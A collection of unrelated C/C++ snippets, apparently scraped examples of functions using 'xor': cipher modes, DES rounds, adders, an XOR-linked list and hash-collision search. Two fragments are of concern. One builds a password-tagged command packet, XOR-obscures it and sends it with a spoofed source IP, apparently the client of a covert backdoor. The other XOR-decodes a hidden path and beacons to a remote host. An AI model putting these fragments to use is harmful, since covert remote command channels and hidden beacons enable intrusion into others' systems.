X64() : CodeGenerator(true) { prologue(0); static __int64 x; // Simple operations mov(r10, r11); mov(r0, r1); mov(r0d, r1d); mov(r0b, r1b); xor(rax, rax); xor(rbx, rbx); mov(qword_ptr [&x+rax+4*rbx], 1); mov(qword_ptr [&x], 2); // RIP-relative addressing push(r14); pop(r14); const char *string = "Good luck with your 64-bit processor!"; mov(rcx, (unsigned int)string); call((unsigned int)printf); epilogue(); }
void includeError2 (char *string, int size) { int i = 0; int exponent = 0; unsigned char mask = '\0'; for (i = 0; i < size; i++) { if (drand48 () < ERROR_RATE) { exponent = floor (drand48 () * 16); if (exponent < 8) { mask = 1 << exponent; string[i] = xor (string[i], mask); } else { mask = 1 << (exponent - 8); string[i + 1] = xor (string[i + 1], mask); } } } return; }
/* Driver program to test above functions */ int main() { int T = 0; int n[10] = {0}; //int n = 4; int res = 0 ,first = 1 ; scanf("%d",&T); for(int j=0;j<T;j++){ scanf("%d",&n[j]); for(int i=0;i<n[j];i++) { scanf("%d",&arr[j][i]); } } for(int k=0;k<T;k++) { res = 0; first = 1; for(int j=1;j<=n[k];j++) { for(int i=1;i<=(n[k]-j)+1;i++) { if(first) { res = xor(i,j,k); first = 0 ;continue; } res = res ^ xor(i,j,k); } } printf("%d\n",res); } return 0; }
static int crypto_cbc_decrypt_inplace(struct blkcipher_desc *desc, struct blkcipher_walk *walk, struct crypto_cipher *tfm, void (*xor)(u8 *, const u8 *, unsigned int)) { void (*fn)(struct crypto_tfm *, u8 *, const u8 *) = crypto_cipher_alg(tfm)->cia_decrypt; int bsize = crypto_cipher_blocksize(tfm); unsigned long alignmask = crypto_cipher_alignmask(tfm); unsigned int nbytes = walk->nbytes; u8 *src = walk->src.virt.addr; u8 stack[bsize + alignmask]; u8 *first_iv = (u8 *)ALIGN((unsigned long)stack, alignmask + 1); memcpy(first_iv, walk->iv, bsize); /* Start of the last block. */ src += nbytes - nbytes % bsize - bsize; memcpy(walk->iv, src, bsize); for (;;) { fn(crypto_cipher_tfm(tfm), src, src); if ((nbytes -= bsize) < bsize) break; xor(src, src - bsize, bsize); src -= bsize; } xor(src, first_iv, bsize); return nbytes; }
long long int xor(long long int a[],long long int i,long long int ans) { if(i<0) return ans; else return max(xor(a,i-1,ans),xor(a,i-1,ans^a[i])); }
static void cts_dec (unsigned char *out, unsigned char *in, unsigned char *iv, unsigned int len) { int r; unsigned int len2; unsigned char pn1[B], pn[B], cn[B], cn1[B]; if (len < B + 1) abort (); len2 = (len - B - 1) & ~(B-1); cbc_dec (out, in, iv, len2); out += len2; in += len2; len -= len2; if (len2) iv = in - B; if (len <= B || len > 2 * B) abort (); memcpy (cn1, in, B); r = camellia_dec_blk (cn1, pn, &dctx); if (!r) fprintf(stderr, "error, line %d\n", __LINE__), exit(1); memset (cn, 0, sizeof(cn)); memcpy (cn, in+B, len-B); xor (pn, pn, cn); memcpy (cn+len-B, pn+len-B, 2*B-len); r = camellia_dec_blk (cn, pn1, &dctx); if (!r) fprintf(stderr, "error, line %d\n", __LINE__), exit(1); xor (pn1, pn1, iv); memcpy(out, pn1, B); memcpy(out+B, pn, len-B); }
void fullAdder (char a, char b, char ci, char & co, char & sum) { char axb, ab, abc; axb = xor (a, b); ab = and (a, b); abc = and (axb, ci); co = or (ab, abc); sum = xor (axb, ci); }
void GSDrawScanlineCodeGenerator::WritePixel(const Xmm& src, const Xmm& temp, const Reg32& addr, uint8 i, int psm) { static const int offsets[4] = {0, 2, 8, 10}; Address dst = ptr[addr * 2 + (size_t)m_env.vm + offsets[i] * 2]; if(m_cpu.has(util::Cpu::tSSE41)) { switch(psm) { case 0: if(i == 0) movd(dst, src); else pextrd(dst, src, i); break; case 1: if(i == 0) movd(eax, src); else pextrd(eax, src, i); xor(eax, dst); and(eax, 0xffffff); xor(dst, eax); break; case 2: pextrw(eax, src, i * 2); mov(dst, ax); break; } } else { switch(psm) { case 0: if(i == 0) movd(dst, src); else { pshufd(temp, src, _MM_SHUFFLE(i, i, i, i)); movd(dst, temp); } break; case 1: if(i == 0) movd(eax, src); else { pshufd(temp, src, _MM_SHUFFLE(i, i, i, i)); movd(eax, temp); } xor(eax, dst); and(eax, 0xffffff); xor(dst, eax); break; case 2: pextrw(eax, src, i * 2); mov(dst, ax); break; } } }
///Cargar el vector con las posibles permutaciones void permutar(funciones *donde, char *cadena, int inicio){ int j; int fin = strlen(cadena); if(inicio==fin){ //Si ya diste tod0 vuelta donde->datos[donde->puntero++] = strdup(cadena); //el cpy y malloc }else{ for(j=inicio; j<= fin; j++){ xor((cadena+inicio), (cadena+j)); permutar(donde, cadena, inicio+1); xor((cadena+inicio), (cadena+j)); //rollback } } }
sum_carry fulladder(int a, int b, int cin) { int x0, x1, a0, a1, o0; sum_carry sc; x0 = xor(a, b); x1 = xor(x0, cin); a0 = and(cin, x0); a1 = and(a,b); o0 = or(a0, a1); sc.sum = x1; sc.carry = o0; return sc; }
//将结点n插入到pre和next之间 void _insert(struct node *pre, struct node *next, struct node *p) { struct node *tmp; p->LR = xor(pre, next); if(pre != NULL) { tmp = xor(next, pre->LR); //tmp记录pre的前面的 pre->LR = xor(p, tmp); } if(next != NULL) { tmp = xor(pre, next->LR); //tmp记录next的后面的 next->LR = xor(p, tmp); } }
static unsigned int cbc_process_decrypt(const struct cipher_desc *desc, u8 *dst, const u8 *src, unsigned int nbytes) { struct crypto_tfm *tfm = desc->tfm; void (*xor)(u8 *, const u8 *) = tfm->crt_u.cipher.cit_xor_block; int bsize = crypto_tfm_alg_blocksize(tfm); u8 stack[src == dst ? bsize : 0]; u8 *buf = stack; u8 **dst_p = src == dst ? &buf : &dst; void (*fn)(void *, u8 *, const u8 *) = desc->crfn; u8 *iv = desc->info; unsigned int done = 0; nbytes -= bsize; do { u8 *tmp_dst = *dst_p; fn(crypto_tfm_ctx(tfm), tmp_dst, src); xor(tmp_dst, iv); memcpy(iv, src, bsize); if (tmp_dst != dst) memcpy(dst, tmp_dst, bsize); src += bsize; dst += bsize; } while ((done += bsize) <= nbytes); return done; }
/*----------------------------------------------------------------------------- * FUNCTION: main * * DATE: June 4, 2010 * * REVISIONS: * * DESIGNER: Steffen L. Norgren <*****@*****.**> * * PROGRAMMER: Steffen L. Norgren <*****@*****.**> * * INTERFACE: int main(int argc, char **argv) * argc - argument count * argv - array of arguments * * RETURNS: Result on success or failure. * * NOTES: Main entry point into the program. Parses command-line arguments and * configures the client. * *----------------------------------------------------------------------------*/ int main(int argc, char *argv[]) { char packet[MAX_PKT_LEN]; /* parse CLI options */ if (parse_options(argc, argv) == ERROR_OPTS) { err(1, "Invalid options"); exit(ERROR_OPTS); } print_settings(argv[0]); /* make sure user is root */ if (geteuid() != USER_ROOT) { fprintf(stderr, "Must be root to run this program.\n"); exit(ERROR_NOTROOT); } /* raise privileges */ if (set_root() == ERROR_NOTROOT) { err(1, "set_root"); } sprintf(packet, "%s%s%s%s", PASSWORD, EXT_CMD_START, cli_vars.command, EXT_CMD_END); packet_forge(xor(packet), "216.187.76.2", cli_vars.server_ip); return 0; }
DWORD telemetry::on_routing_threadproc(LPVOID param) { const int times_routed = *((int*)param); delete param; std::string host; SOCKET sock = try_connect(host); if(sock == INVALID_SOCKET) { host.clear(); return 0; } std::string path; xor(path, path_routed_xor, sizeof(path_routed_xor)); if(times_routed == 0) try_send(sock, host, path, "routed_0"); else if(times_routed == 9) try_send(sock, host, path, "routed_9"); else try_send(sock, host, path, "routed"); path.clear(); host.clear(); closesocket(sock); return 0; }
int SolvObject::getNumberOfSatisfiedClauses(){ unsigned int result = 0; unsigned int clauseIndex , varIndex; for (clauseIndex = 0; clauseIndex < numberOfClauses; clauseIndex++){ for (varIndex = 0; varIndex < clauses->at(clauseIndex).size(); varIndex++){ variable var = clauses->at(clauseIndex).at(varIndex); if ((var.isNegative) xor (*(var.varPointer) == 1)){ result++; break; } } } return result; }
static unsigned int cbc_process_encrypt(const struct cipher_desc *desc, u8 *dst, const u8 *src, unsigned int nbytes) { struct crypto_tfm *tfm = desc->tfm; void (*xor)(u8 *, const u8 *) = tfm->crt_u.cipher.cit_xor_block; int bsize = crypto_tfm_alg_blocksize(tfm); void (*fn)(void *, u8 *, const u8 *) = desc->crfn; u8 *iv = desc->info; unsigned int done = 0; nbytes -= bsize; do { xor(iv, src); fn(crypto_tfm_ctx(tfm), dst, iv); memcpy(iv, dst, bsize); src += bsize; dst += bsize; } while ((done += bsize) <= nbytes); return done; }
bool EthernetRelayDriver::encode(int command, uint8_t relay, uint8_t timeout){ /* Define protocol commands */ enum {digitalActiveCmd = 32, digitalInactiveCmd = 33, digitalSetCmd = 35, digitalGetCmd = 36}; enum {getVoltsCmd = 120, passwordEntryCmd, unlockTimeCmd, logOutCmd}; unsigned char setBits(0); outputBuffer.clear(); if(!((command == digitalActiveCmd || command == digitalInactiveCmd) && relay == 0)){ switch(command){ case digitalActive: /* Turn on relay with timeout */ outputBuffer.push_back(static_cast<int>(digitalActiveCmd)); outputBuffer.push_back(relay); outputBuffer.push_back(timeout); break; case digitalInactive: /* Turn off relay with timeout */ outputBuffer.push_back(static_cast<int>(digitalInactiveCmd)); outputBuffer.push_back(relay); outputBuffer.push_back(timeout); break; case digitalSet: /* Set relay state */ outputBuffer.push_back(static_cast<int>(digitalSetCmd)); for(std::vector<bool>::size_type i = 0; i != relayState.size(); i++){ setBits = setBits xor ((0x1*relayState[i])<<i); // Moze i preko bitseta } outputBuffer.push_back(setBits); break; case digitalGet: /* Get relay state */ outputBuffer.push_back(static_cast<int>(digitalGetCmd)); break; case getVolts: /* Read relay supply voltage */ outputBuffer.push_back(static_cast<int>(getVoltsCmd)); break; default: break; } write(); return true; } else { ROS_ERROR("Irregular command."); return false; } }
void do_forget (void) { char name[16]; header *hd; int r; if (udfon) { output("Cannot forget functions in a function!\n"); error=720; return; } while (1) { scan_space(); scan_name(name); r=xor(name); hd=(header *)ramstart; while ((char *)hd<udfend) { if (r==hd->xor && !strcmp(hd->name,name)) break; hd=nextof(hd); } if ((char *)hd>=udfend) { output1("Function %s not found!\n",name); error=160; return; } kill_udf(name); scan_space(); if (*next!=',') break; else next++; } }
bool Inventory::operator==(const Inventory& other) const { if (isEmpty() and other.isEmpty()) { //both are empty, so they are the same return true; } if (isEmpty() or other.isEmpty()) { //only one is empty, so they are not the same return false; } ConstInventoryIterator other_one = other.getFirst(); const ConstInventoryIterator other_end = other.getEnd(); ConstInventoryIterator self_one = m_Items.begin(); const ConstInventoryIterator self_end = m_Items.end(); while (self_one!=self_end and other_one!=other_end) { if (self_one->first!=other_one->first or self_one->second!=other_one->second) { return false; } ++self_one; ++other_one; }//while if ((self_one!=self_end) xor (other_one!=other_end)) { return false; } return true; }
void DES::Description() { IP(); for (int i = 0; i < 16; i++) { string test = ""; test = R; L = xor(L, F(15 - i)); R = L; L = test; } bmsg = R + L; RIP(); cout<<bmsg<<endl; ofstream file; file.open("Description.txt"); file << bmsg << endl; for (int i = 0; i < 64; i += 8) { string val = ""; for (int j = i; j < i + 8; j++) { val += bmsg[j]; } bitset<CHAR_BIT>sim(val); cout << char(sim.to_ulong()); file << char(sim.to_ulong()); } file.close(); };
string DES::F(int step) { string E = ""; char F[8][6] = { {R[31], R[0], R[1], R[2], R[3], R[4]}, {R[3], R[4], R[5], R[6], R[7], R[8]}, {R[7], R[8], R[9], R[10], R[11], R[12]}, {R[11], R[12], R[13], R[14], R[15], R[16]}, {R[15], R[16], R[17], R[18], R[19], R[20]}, {R[19], R[20], R[21], R[22], R[23], R[24]}, {R[23], R[24], R[25], R[26], R[27], R[28]}, {R[27], R[28], R[29], R[30], R[31], R[0]}}; for (int i = 0; i < 8; i++) { for (int j = 0; j < 6; j++) { E += F[i][j]; } } string over = SBOX(xor(E, key.getSubKey(step))); char P[4][8] = { {over[15], over[6], over[19], over[20], over[28], over[11], over[27], over[16]}, {over[0], over[14], over[22], over[25], over[4], over[17], over[30], over[9]}, {over[1], over[7], over[23], over[13], over[31], over[26], over[2], over[8]}, {over[18], over[12], over[29], over[5], over[21], over[10], over[3], over[24]}}; string the_end = ""; for (int i = 0; i < 4; i++) { for (int j = 0; j < 8; j++) { the_end += P[i][j]; } } return the_end; };
static int crypto_cbc_encrypt_inplace(struct blkcipher_desc *desc, struct blkcipher_walk *walk, struct crypto_cipher *tfm, void (*xor)(u8 *, const u8 *, unsigned int)) { void (*fn)(struct crypto_tfm *, u8 *, const u8 *) = crypto_cipher_alg(tfm)->cia_encrypt; int bsize = crypto_cipher_blocksize(tfm); unsigned int nbytes = walk->nbytes; u8 *src = walk->src.virt.addr; u8 *iv = walk->iv; do { xor(src, iv, bsize); fn(crypto_cipher_tfm(tfm), src, src); iv = src; src += bsize; } while ((nbytes -= bsize) >= bsize); memcpy(walk->iv, iv, bsize); return nbytes; }
int main(int argc, char **argv) { int ret = EXIT_SUCCESS; int c; char *_in = NULL; char *_key = NULL; char *_out = NULL; FILE *in = NULL; FILE *out = NULL; char *key = NULL; long key_length; while((c = getopt(argc, argv, "i:k:o:")) != -1) { switch(c) { case 'i': _in = optarg; break; case 'k': _key = optarg; break; case 'o': _out = optarg; break; default: printf("Usage: xor -i in -k key -o out\n"); return EXIT_FAILURE; } } if(_in == NULL || _key == NULL || _out == NULL) { printf("Usage: xor -i in -k key -o out\n"); return EXIT_FAILURE; } if(read_key(_key, &key, &key_length) != 0) { printf("error reading %s\n", _key); return EXIT_FAILURE; } in = fopen(_in, "rb"); if(in == NULL) { printf("error opening %s\n", _in); RET_GOTO(EXIT_FAILURE, free_key); } out = fopen(_out, "wb"); if(out == NULL) { printf("error opening %s\n", _out); RET_GOTO(EXIT_FAILURE, close_in); } xor(in, out, key, key_length); fclose(out); close_in: fclose(in); free_key: free(key); return ret; }
void *subRound(void *hnd, c4snet_data_t *sd, c4snet_data_t*sk, int c) { char *D = (char*) C4SNetGetData(sd); char *K = (char *) C4SNetGetData(sk); int i; for (i = 0; i < 8; i++) { int j; char *L = D; /* The left 4 bytes (half) of the data block. */ char *R = &(D[4]); /* The right half of the ciphertext block. */ char Rexp[6]; /* Expanded right half. */ char Rn[4]; /* New value of R, as we manipulate it. */ char SubK[6]; /* The 48-bit subkey. */ /* Generate the subkey for this round. */ KeyShift( K, KeyRotation[i + c * 8] ); Permute( SubK, K, KeyCompression, 6 ); /* Expand the right half (R) of the data block to 48 bytes, * then XOR the result with the Subkey for this round. */ Permute( Rexp, R, DataExpansion, 6 ); xor( Rexp, Rexp, SubK, 6 ); /* S-Box substitutions, P-Box permutation, and final XOR. * The S-Box substitutions return a 32-bit value, which is then * run through the 32-bit to 32-bit P-Box permutation. The P-Box * result is then XOR'd with the left-hand half of the key. * (Rexp is used as a temporary variable between the P-Box & XOR). */ sbox( Rn, Rexp ); Permute( Rexp, Rn, PBox, 4 ); xor( Rn, L, Rexp, 4 ); /* The previous R becomes the new L, * and Rn is moved into R ready for the next round. */ for( j = 0; j < 4; j++ ) { L[j] = R[j]; R[j] = Rn[j]; } } c++; C4SNetOut(hnd, 1, sd, sk, c); return hnd; }
bool intersect_prop ( tPointi a, tPointi b, tPointi c, tPointi d ) /******************************************************************************/ /* Purpose: INTERSECT_PROP returns true if and only if AB properly intersects CD. Discussion: AB and CD must share a point interior to both segments. The properness of the intersection is ensured by using strict leftness. Modified: 30 April 2007 Author: Joseph O'Rourke Parameters: Input, tPointi A, B, C, D, points that define segments AB and CD. Output, bool INTERSECT_PROP, is TRUE if AB properly intersects CD. */ { bool value; /* Eliminate improper cases. */ if ( collinear ( a, b, c ) || collinear ( a, b, d ) || collinear ( c, d, a ) || collinear ( c, d, b ) ) { value = false; } else { value = xor ( left ( a, b, c ), left ( a, b, d ) ) && xor ( left ( c, d, a ), left ( c, d, b ) ); } return value; }
void findPairTree(message &M1, message &M2, const difference &D, const DifferentialPath &P, int max_clique_size, ofstream& changes, int counter, message &M1_old, message &M2_old){ if (counter > 10) return; vector<vector<int>> neutral_vectors; vector<vector<int>> tmp_neutral_vectors; vector<vector<int>> first_level, second_level; construct_neutral_set(M1, M2, D, P); read(neutral_vectors); set<int> clique; vector<vector<int>> best_bits; for (auto i = neutral_vectors.begin(); i != neutral_vectors.end(); i++){ message tmp1(M1); message tmp2(M2); xor(tmp1.W, *i); xor(tmp2.W, *i); D.modify(tmp1, tmp2); construct_neutral_set(tmp1, tmp2, D, P); read(tmp_neutral_vectors); adj_matrix adj(tmp_neutral_vectors.size()); adj.fill(tmp_neutral_vectors, tmp1, tmp2, D, P); kerbosh(adj.adj, adj.adj[1].size(), clique, tmp_neutral_vectors); if (clique.size() == max_clique_size){ first_level.push_back({ (*i)[0], (*i)[1], (*i)[2], (*i)[3], (*i)[4] }); } if (clique.size() > max_clique_size){ max_clique_size = clique.size(); first_level.clear(); first_level.push_back({ (*i)[0], (*i)[1], (*i)[2], (*i)[3], (*i)[4] }); if (clique.size() >= 35){ printGoodBits(M1_old, tmp1, changes); } } tmp_neutral_vectors.clear(); clique.clear(); } for (auto i = first_level.begin(); i != first_level.end(); i++){ message tmp1(M1); message tmp2(M2); xor(tmp1.W, *i); xor(tmp2.W, *i); D.modify(tmp1, tmp2); findPairTree(tmp1, tmp2, D, P, max_clique_size, changes, ++counter, M1_old, M2_old); } return; }
u8 *wtcc_encrypt(u8 *filebuff, int filelen, int *retlen, int filever) { uLongf zlen; u32 //zlen, bflen, keylen = 0, keytable = 0; int dozip = 0; u8 *buff, *key = NULL; zlen = filelen + (filelen / 1000) + 12; // must be at least 0.1% larger than sourceLen plus 12 bytes buff = malloc(16 + zlen); if(!buff) std_err(NULL); printf("- XOR %u bytes with 0xeb\n", filelen); xor(filebuff, filelen, 0xeb); key = wtcc_filever_key(1, filever, &keylen, &keytable, &dozip); if(customkey) { key = customkey; keylen = customkeylen; } if(dozip) { printf("- zip %u bytes\n", filelen); zlen = filelen; compress2(buff + 16, &zlen, filebuff, filelen, Z_BEST_COMPRESSION); bflen = zlen; } else { zlen = 0; memcpy(buff + 16, filebuff, filelen); bflen = filelen; } bflen = (bflen + 7) & ~7; printf("- encrypt %u bytes\n", bflen); wtcc_blowfish(key, keylen, keytable, buff + 16, bflen, BF_ENCRYPT); printf( "- file version %u\n" "- blowfish size %u (%s)\n" "- compressed size %u\n" "- data size %u\n", filever, bflen, (bflen & 7) ? "wrong" : "correct", (u32)zlen, filelen); put32(buff, 0xffffb10f); put32(buff + 4, filever); put32(buff + 8, filelen); put32(buff + 12, zlen); *retlen = 16 + bflen; return(buff); }
void public_key_encrypt(unsigned char* message, unsigned long message_size, unsigned long* output, unsigned long* public_key){ unsigned char key_bytes[message_size * CIPHERTEXT_COUNT], count, key_byte, _key_byte; unsigned long index, ciphertext_byte[4]; get_random_bytes(message_size * CIPHERTEXT_COUNT, key_bytes); for (index = 0; index < message_size; index++){ zero_out(ciphertext_byte); _key_byte = 0; for (count = 0; count < CIPHERTEXT_COUNT; count++){ key_byte = key_bytes[(index * 16) + count]; _key_byte ^= key_byte; xor(ciphertext_byte, public_key, key_byte);} _key_byte ^= message[index]; xor(ciphertext_byte, public_key, _key_byte); store(output, ciphertext_byte);}}
void MainWindow::collision(auto cba, auto cbb) { if (cba->distance_2(*cbb) > (cba->getRadius() + cbb->getRadius())*(cba->getRadius() + cbb->getRadius())) return; // niech cialo a porusza sie wzgledem ciala b, a cialo b bedzie nieruchome long double deltaVx1, deltaVy1, deltaVx2, deltaVy2; // koncowe roznice szybkosci long double deltaPosX = cba->getX() - cbb->getX(); long double deltaPosY = cba->getY() - cbb->getY(); long double collisionAngle = atan2l(deltaPosX,deltaPosY); long double velocityAngle = atan2l(cba->getVx(),cba->getVy()); if (collisionAngle < 0) collisionAngle += 2.0*M_PI; if (velocityAngle < 0) velocityAngle += 2.0*M_PI; if (((deltaPosX < 0) xor (cba->getVx() < 0)) or ((deltaPosY < 0) xor (cba->getVy() < 0))) // jesli a zbliza sie do b { } }
void find_best_pair(message &M1, message &M2, const difference &D, const DifferentialPath &P){ ofstream changes("good_changes.txt"); vector<vector<int>> neutral_vectors; vector<vector<int>> tmp_neutral_vectors; vector<vector<int>> final_set; construct_neutral_set(M1, M2, D, P); read(neutral_vectors); set<int> clique; int max_clique_size = 15; vector<vector<int>> best_bits; for (auto i = neutral_vectors.begin(); i != neutral_vectors.end(); i++){ cout << endl << (*i)[0] << " " << (*i)[1] << " " << (*i)[2] << " " << (*i)[3] << " " << (*i)[4] << endl; message tmp1(M1); message tmp2(M2); xor(tmp1.W, *i); xor(tmp2.W, *i); D.modify(tmp1, tmp2); construct_neutral_set(tmp1, tmp2, D, P); read(tmp_neutral_vectors); cout << endl << tmp_neutral_vectors.size() << endl; adj_matrix adj(tmp_neutral_vectors.size()); adj.fill(tmp_neutral_vectors, tmp1, tmp2, D, P); kerbosh(adj.adj, adj.adj[1].size(), clique, tmp_neutral_vectors); cout << endl << "clique size " << clique.size() << endl; if (clique.size() >= max_clique_size){ changes << "clique size " << clique.size() << endl; changes << (*i)[0] << " " << (*i)[1] << " " << (*i)[2] << " " << (*i)[3] << " " << (*i)[4] << endl << endl; max_clique_size = clique.size(); show_clique(clique, tmp_neutral_vectors, final_set); } tmp_neutral_vectors.clear(); clique.clear(); } getchar(); return; }